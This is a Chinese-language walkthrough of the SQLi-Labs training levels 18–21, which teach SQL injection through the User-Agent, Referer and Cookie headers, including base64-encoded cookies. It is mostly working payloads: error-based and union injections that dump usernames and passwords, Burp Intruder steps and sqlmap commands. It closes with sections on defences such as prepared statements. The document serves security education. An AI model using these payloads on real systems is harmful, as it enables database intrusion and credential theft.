SQL-LABS_Less18-20实战攻略
SQL-LABS Less 18-21 实战攻略:HTTP Header 注入进阶
一、 Less-18:User-Agent 注入初体验
1.1 场景分析
打开 Less-18:http://192.168.43.8/sqli-labs-master/Less-18/
页面提示你输入用户名和密码登录。
先正常登录试试:
- 用户名:
admin - 密码:
admin
登录成功后,页面显示:
Your IP ADDRESS is: 192.168.43.8 Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...关键信息:页面把你的User-Agent显示出来了!
这意味着后端很可能把 User-Agent 存进了数据库,然后又查出来显示。如果插入的时候没过滤,那就有注入点了。
1.2 抓包改 User-Agent
用 Burp Suite 抓登录请求(POST 提交):
POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 192.168.43.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded uname=admin&passwd=admin&submit=Submit改 User-Agent 试试:
User-Agent: test'发送请求,页面报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test'', '192.168.43.8')' at line 1分析错误信息:
- 多了一个单引号
'test'' - 后面还有
'192.168.43.8')
推测 SQL 语句:
INSERTINTOxxxVALUES('admin','test'', '192.168.43.8')所以闭合方式是:单引号闭合 + 注释掉后面的内容
1.3 构造 Payload
思路:
- 先闭合前面的单引号:
' - 插入注入语句(报错注入):
and updatexml(1,concat(0x7e,database()),1) - 注释掉后面的内容:
--+或#
但这里有个坑:INSERT 语句里不能直接用and,得用逗号,分隔字段。
正确 Payload:
User-Agent: admin', (select updatexml(1,concat(0x7e,database()),1)), '1解释:
admin'闭合第一个字段的单引号, (select updatexml(...))插入报错注入到第二个字段, '1补齐后面的字段(IP 地址那栏)
发送请求,报错显示:
XPATH syntax error: '~security'成功了!数据库名是security
1.4 继续注入
查表名:
User-Agent: admin', (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)), '1报错显示:
XPATH syntax error: '~emails,referers,uagents,users'查 users 表的列名:
User-Agent: admin', (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)), '1报错显示:
XPATH syntax error: '~id,username,password'查数据(只显示一条):
User-Agent: admin', (select updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)), '1报错显示:
XPATH syntax error: '~Dumb:Dumb'1.5 完整注入流程总结
| 步骤 | Payload | 结果 |
|---|---|---|
| 1. 测试注入点 | test' | 报错,确认有注入 |
| 2. 确定闭合方式 | admin', 'x', 'x | 不报错,确认闭合 |
| 3. 查数据库 | admin', (select updatexml(...,database(),...)), '1 | security |
| 4. 查表名 | ...(select group_concat(table_name) from information_schema.tables where table_schema='security')... | users等 |
| 5. 查列名 | ...(select group_concat(column_name) from information_schema.columns where table_name='users')... | username, password |
| 6. 查数据 | ...(select concat(username,':',password) from users limit 0,1)... | Dumb:Dumb |
二、Less-19:Referer 注入
2.1 场景分析
Less-19 和 Less-18 基本一样,只是注入点从User-Agent换成了Referer。
页面登录后显示:
Your Referer is: http://192.168.43.8/sqli-labs-master/Less-18/2.2 抓包改 Referer
Burp Suite 抓包,修改 Referer:
POST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 192.168.43.8 Referer: test'报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test'', '192.168.43.8')' at line 1和 Less-18 一模一样!闭合方式相同!
2.3 直接套用 Payload
查数据库:
Referer: admin', (select updatexml(1,concat(0x7e,database()),1)), '1报错显示:
XPATH syntax error: '~security'后面的流程和 Less-18 完全一样,不再重复。
2.4 User-Agent vs Referer
| 字段 | 含义 | 常见值 |
|---|---|---|
| User-Agent | 浏览器标识 | Mozilla/5.0 (Windows NT 10.0...) |
| Referer | 来源页面 | http://example.com/previous-page |
真实场景中的利用:
- User-Agent:网站统计系统、日志记录
- Referer:防盗链检测、来源分析
三、Less-20:Cookie 注入
3.1 场景分析
Less-20 又升级了:注入点在Cookie里。
先正常登录:
- 用户名:
admin - 密码:
admin
登录成功后,Burp Suite 看到 Cookie:
Cookie: uname=admin页面显示:
Your Login name: admin3.2 测试注入点
刷新页面(登录后的页面),Burp Suite 抓包,改 Cookie:
GET /sqli-labs-master/Less-20/ HTTP/1.1 Host: 192.168.43.8 Cookie: uname=admin'报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1分析错误:
''admin'''→ 多了两个单引号- 说明查询语句是:
SELECT ... WHERE username='admin''
闭合方式:单引号闭合,然后注释掉后面
3.3 构造 Payload
和前面不同:这次是SELECT 语句,不是 INSERT,可以直接用and、union了!
测试闭合:
Cookie: uname=admin' --+不报错,说明闭合成功!
报错注入查数据库:
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),1)--+报错显示:
XPATH syntax error: '~security'联合查询注入(判断列数):
Cookie: uname=admin' order by 3--+不报错 → 有 3 列
Cookie: uname=admin' order by 4--+报错 → 只有 3 列
查回显位置:
Cookie: uname=admin' union select 1,2,3--+页面显示:
Your Login name: 2 Your Password: 3回显位置是第 2、3 列!
3.4 注入数据
查当前数据库:
Cookie: uname=admin' union select 1,database(),3--+显示:security
查表名:
Cookie: uname=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+显示:emails,referers,uagents,users
查 users 表的数据:
Cookie: uname=admin' union select 1,group_concat(username,':',password),3 from users--+显示:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,...成功拿到所有用户的账号密码!
3.5 Less-20 总结
| 注入方法 | 适用场景 | 优势 |
|---|---|---|
| 报错注入 | 页面显示错误信息 | 快速获取数据库名、表名 |
| 联合查询 | 页面有数据回显 | 一次性导出大量数据 |
Less-20 的 Cookie 注入是SELECT 语句,所以可以用联合查询,比 Less 18-19 的 INSERT 语句更灵活。
四、Less-21:Cookie 注入 + base64 编码绕过
4.1 场景分析
Less-21 在 Less-20 的基础上加了一层编码:Cookie 值经过 base64 编码。
先正常登录:
- 用户名:
admin - 密码:
admin
登录成功后,Burp Suite 看到 Cookie:
Cookie: uname=YWRtaW4%3D关键发现:
YWRtaW4%3D是 URL 编码后的 base64%3D就是=- 解码:
YWRtaW4=→ base64 解码 →admin
后端逻辑:
$cookee=$_COOKIE['uname'];$cookee=base64_decode($cookee);// 先解码$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";// 再查询所以注入点还在,但我们的 payload 要先base64 编码才能放进 Cookie!
4.2 测试注入点
直接改 Cookie 试试:
Cookie: uname=admin'不报错,因为admin'base64 解码后是乱码,不会触发 SQL 语法错误。
正确姿势:先把 payload base64 编码
测试 payload:admin'
→ base64 编码:YWRtaW4n
→ 放入 Cookie:uname=YWRtaW4n
发送请求,报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1确认有注入!
4.3 确定闭合方式
测试闭合:admin') --+
→ base64 编码:YWRtaW4nKSAtLSs=
→ 放入 Cookie:uname=YWRtaW4nKSAtLSs=
不报错,但页面也没显示内容。
再试试:admin') #
→ base64 编码:YWRtaW4nKSAj
→ 放入 Cookie:uname=YWRtaW4nKSAj
不报错!说明闭合方式是:') ... #(单引号+括号闭合)
4.4 报错注入
查数据库:
原始 payload: admin') and updatexml(1,concat(0x7e,database()),1)# Base64 编码: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj 放入 Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj报错显示:
XPATH syntax error: '~security'查表名:
原始: admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)# Base64: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj报错显示:
XPATH syntax error: '~emails,referers,uagents,users'4.5 联合查询注入
Less-21 也是 SELECT 语句,可以用 union!
判断列数:
原始: admin') order by 3# Base64: YWRtaW4nKSBvcmRlciBieSAzIw== Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw==不报错 → 有 3 列
原始: admin') order by 4# Base64: YWRtaW4nKSBvcmRlciBieSA0Iw== Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw==报错 → 只有 3 列
查回显位置:
原始: admin') union select 1,2,3# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj Cookie: uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj页面显示:
Your Login name: 2 Your Password: 3导出所有用户数据:
原始: admin') union select 1,group_concat(username,':',password),3 from users# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj Cookie: uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj显示:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,...成功!
4.6 base64 编码小技巧
在线编码:
- https://www.base64encode.org/
- https://tool.oschina.net/encrypt?type=3
命令行编码:
# Linux / macOSecho-n"admin') union select 1,2,3#"|base64# Windows PowerShell[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("admin') union select 1,2,3#"))Burp Suite 插件:
- Decoder 标签 → 输入 payload → Encode as Base64
- 右键 → Send to Decoder → 自动编码
4.7 Less-21 总结
| 对比项 | Less-20 | Less-21 |
|---|---|---|
| 注入点 | Cookie (uname) | Cookie (uname) |
| 编码 | 无 | base64 编码 |
| 闭合方式 | admin' # | admin') #(多了括号) |
| 注入方法 | 报错/联合查询 | 报错/联合查询 |
| 难度 | ★★★☆☆ | ★★★★☆ |
关键点:
- 发现 Cookie 值是 base64 编码 → 先解码看看是什么
- 构造 payload 后必须 base64 编码再发送
- 闭合方式变了(多了括号),需要重新测试
五、HTTP Header 注入防御
4.1 为什么会有这种注入?
开发者常见错误:
// Less-18 的源码(简化版)$uagent=$_SERVER['HTTP_USER_AGENT'];$sql="INSERT INTO uagents VALUES ('$username', '$uagent', '$ip')";mysql_query($sql);问题:
$_SERVER['HTTP_USER_AGENT']直接拼接到 SQL 语句- 没有任何过滤或转义
4.2 正确的防御方法
1. 预编译语句(最安全):
$stmt=$pdo->prepare("INSERT INTO uagents VALUES (?, ?, ?)");$stmt->execute([$username,$uagent,$ip]);2. 转义特殊字符:
$uagent=mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']);3. 白名单过滤:
// Referer 只允许特定域名if(strpos($_SERVER['HTTP_REFERER'],'trusted-domain.com')===false){die('Invalid referer');}4. 不要盲目信任 HTTP Header:
- User-Agent、Referer、Cookie 都是用户可控的
- 和 URL 参数一样危险
5. 对编码后的数据也要防护:
// Less-21 的正确写法$cookee=$_COOKIE['uname'];$cookee=base64_decode($cookee);// 解码后仍需预编译或转义$stmt=$pdo->prepare("SELECT * FROM users WHERE username=? LIMIT 0,1");$stmt->execute([$cookee]);六、实战技巧总结
6.1 Less 18-21 对比
| 关卡 | 注入点 | SQL 语句类型 | 闭合方式 | 编码 | 注入方法 |
|---|---|---|---|---|---|
| Less-18 | User-Agent | INSERT | admin', ..., '1 | 无 | 报错注入 |
| Less-19 | Referer | INSERT | admin', ..., '1 | 无 | 报错注入 |
| Less-20 | Cookie | SELECT | admin' # | 无 | 报错/联合查询 |
| Less-21 | Cookie | SELECT | admin') # | base64 | 报错/联合查询 |
6.2 INSERT vs SELECT 注入的区别
INSERT 语句(Less 18-19):
- 不能用
and、or、union - 只能用报错注入
- Payload 格式:
field1', (injection), 'field3
SELECT 语句(Less 20-21):
- 可以用
and、or、union、order by - 报错注入、联合查询、布尔盲注都行
- Payload 格式:
admin' and/union ...#
6.3 编码绕过的思路
常见编码方式:
- base64(Less-21):
admin→YWRtaW4= - URL 编码:
admin'→admin%27 - 十六进制:
admin→0x61646d696e - Unicode 编码:
'→'
发现编码的方法:
- 看 Cookie 值是否像乱码(如
YWRtaW4=很可能是 base64) - 尝试 base64 解码看看
- 用 Burp Suite 的 Decoder 多试几种编码
绕过思路:
- 后端先解码,再拼接 SQL
- 我们的 payload 要先编码,让它解码后才是注入语句
- 有时候需要双重编码(先 base64 再 URL 编码)
6.4 Burp Suite 使用技巧
快速修改 Header:
- Proxy → Intercept → 抓到包后右键 → Send to Repeater
- Repeater 里改 User-Agent / Referer / Cookie
- 点 Send 发送,看 Response
批量测试:
- Send to Intruder
- 选中 User-Agent 的值 → Add §
- Payloads 里加入注入语句列表
- Start Attack 批量发送
Decoder 编码:
- Decoder 标签
- 输入 payload
- 选择 Encode as… → Base64 / URL / Hex
七、真实场景的思考
7.1 这种注入常见吗?
非常常见!
- 日志系统:记录 User-Agent 到数据库
- 统计系统:记录 Referer 分析流量来源
- 会话管理:Cookie 存用户名/ID,然后查库
- 防刷机制:记录 IP + User-Agent 判断是否机器人
7.2 如何挖掘?
1. 找需要登录的功能:
- 登录后的页面可能会记录 User-Agent
- 留言板、评论系统可能记录 IP 和 User-Agent
2. 测试所有 Header:
- User-Agent
- Referer
- X-Forwarded-For(代理IP)
- Cookie
- X-Real-IP
- CF-Connecting-IP(Cloudflare)
3. 看错误信息:
- 改 Header 后如果报 SQL 错误,基本就有注入
4. 注意编码:
- Cookie 可能 base64 编码
- 有些系统对 Header 做 URL 解码
- 尝试多种编码组合
7.3 SQLMAP 能跑吗?
能!但要指定注入点:
Less-18(User-Agent):
sqlmap-u"http://192.168.43.8/sqli-labs-master/Less-18/"\--data"uname=admin&passwd=admin&submit=Submit"\--headers="User-Agent: *"\--dbsLess-20(Cookie):
sqlmap-u"http://192.168.43.8/sqli-labs-master/Less-20/"\--cookie="uname=admin*"\--dbsLess-21(Cookie + base64):
sqlmap-u"http://192.168.43.8/sqli-labs-master/Less-21/"\--cookie="uname=*"\--tamper=base64encode\--dbs注意:
*标记注入点--tamper=base64encode自动 base64 编码 payload
八、总结
SQL 注入不只在 URL 参数里:
- HTTP Header(User-Agent、Referer、Cookie)也能注入
- 任何用户可控的输入都可能是注入点
INSERT 和 SELECT 注入的区别:
- INSERT 只能用报错注入,Payload 格式特殊
- SELECT 可以用联合查询,更灵活
编码绕过:
- base64、URL 编码等是常见的绕过手段
- 构造 payload 前要先判断是否有编码
- Burp Suite 的 Decoder 是好帮手
Burp Suite 的重要性:
- HTTP Header 注入必须用抓包工具
- 浏览器地址栏改不了 User-Agent 和 Referer
防御要全面:
- 不只过滤 GET/POST 参数
- HTTP Header 也要转义或用预编译
- 解码后的数据仍需防护
免责声明:本文仅用于授权渗透测试和安全学习,请勿用于非法用途。
